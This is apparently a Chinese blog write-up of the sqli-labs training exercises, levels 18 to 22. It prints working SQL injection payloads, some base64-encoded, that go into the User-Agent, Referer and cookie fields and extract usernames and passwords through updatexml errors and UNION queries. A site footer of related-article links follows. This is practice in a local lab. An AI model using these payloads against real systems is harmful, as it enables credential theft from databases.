【sqli-labs】Less18~Less22
Less18: User-Agent注入,有错误回显
感叹一句,越来越难了。现在只能先看代码再分析怎么注入了.....
通过代码,发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。
用户名密码就假设已知为admin/admin了。
还是用updatexml函数,用Burp Suite更改user-agent字段为:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a
显示报错:XPATH syntax error: '~Dumb:Dumb'
Less19:
与Less18几乎一模一样,就是注入位置变为Referer了
修改Referer为:
http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a
Less20: Cookie注入,有回显
这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。
代码逻辑是,如果没有cookie,则生成cookie;如果有cookie则显示cookie相关的信息。
代码中设置cookie时用到的用户名和密码都是有检查的,无法注入。所以要从已有cookie时的查询语句入手。
SELECT * FROM users WHERE username='$cookee' LIMIT 0,1
看到就是普通的select语句,可以直接通过闭合注入。
此外还要知道cookie的格式,从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname
故通过Burp suite添加cookie
uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a
注意,我们并不需要知道真实的用户名和密码,直接通过构造cookie就可以获取数据了。
Less21:Cookie注入,有回显,base64编码
与20的区别是对cookie值用base64进行了编码。故需要将注入语句
') union select 1, group_concat(concat(username,':',password)),3 from users -- a
进行编码,具体Cookie处注入
uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=
Less22:Cookie注入,有回显,base64编码
其实就是把之前的单引号换成双引号了。
明文:
" union select 1, group_concat(concat(username,':',password)),3 from users -- a
base64编码的注入信息:
uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==
另外提供一个updatexml报错版本
练习用的,想一次性获取所有数据失败了,无法显示那么长的信息,只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e,即~符号,可以使信息更加完整。
" or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a
base64编码
uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh
【sqli-labs】Less18~Less22的更多相关文章
- 【SEED Labs】Public-Key Infrastructure (PKI) Lab
Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...
- 【SEED Labs】DNS Rebinding Attack Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...
- 【SEED Labs】TCP Attacks Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 【移动端】300ms延迟以及点透事件原因以及解决方案
产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
- 【AR实验室】mulberryAR : ORBSLAM2+VVSION
本文转载请注明出处 —— polobymulberry-博客园 0x00 - 前言 mulberryAR是我业余时间弄的一个AR引擎,目前主要支持单目视觉SLAM+3D渲染,并且支持iOS端,但是该引 ...
- 【.net 深呼吸】细说CodeDom(1):结构大观
CodeDom 是啥东东?Html Dom听过吧,XML Dom听过吧.DOM一般可翻译为 文档对象模型,那 Code + DOM呢,自然是指代码文档模型了.如果你从来没接触过 CodeDom,你大概 ...
随机推荐
- webstorm更改scss输出路径
--no-cache --update $FileName$:$FileParentDir$\css\$FileNameWithoutExtension$.css $FileNameWithoutEx ...
- cookie——登录注册极简版
本实例旨在最直观地说明如何利用cookie完成登录注册功能,忽略正则验证. index.html <!doctype html> <html lang="en"& ...
- Applet、Scriptlet与Servlet
Applet.Scriptlet与Servlet - 青春念邵的博客 - 博客频道 - CSDN.NEThttp://blog.csdn.net/mo_fan_qing_wa/article/deta ...
- 迅为-ARM嵌入式开发一体化工业9.7寸屏幕 平板式智能触控屏
产品名称:迅为9.7寸IPS高清屏幕 适用于:[iTOP-4412精英版][iTOP-4412全能版][iTOP-4418开发板][迅为-iMX6开发板] 分辨率:1024*768 触摸屏类型:电容屏 ...
- TensorFlow tf.app&tf.app.flags用法介绍
TensorFlow tf.app&tf.app.flags用法介绍 TensorFlow tf.app argparse tf.app.flags 下面介绍 tf.app.flags.FL ...
- python第四天,list补充
当我们创建的列表中,元素的排列顺序常常是无法预测的,因为我们并非总能控制用户提供数据的顺序.这虽然在大多数情况下都是不可避免的,但我们经常需要以特定的顺序从呈现信息.有时候,我们希望保留列表元素最初的 ...
- android checkBox setTextColor无效
代码中动态设置checkBox的文字选中背景和未选中背景,用如下代码: checkView.setTextColor(getResources().getColor(R.color.item_colo ...
- Python运维开发基础07-文件基础【转】
一,文件的基础操作 对文件操作的流程 [x] :打开文件,得到文件句柄并赋值给一个变量 [x] :通过句柄对文件进行操作 [x] :关闭文件 创建初始操作模板文件 [root@localhost sc ...
- python序列化模块的速度比较
# -*- coding: utf-8 -*- # @Time : 2019-04-01 17:41 # @Author : cxa # @File : dictest.py # @Software: ...
- python3+requests库框架设计06-测试脚本
在项目下新建TestCase文件夹,然后新建.py文件在文件中写关于接口具体的测试脚本,一般我喜欢按照模块来分,一个模块一个.py文件,建议以test开头命名文件 把配置文件改成这样 url:http ...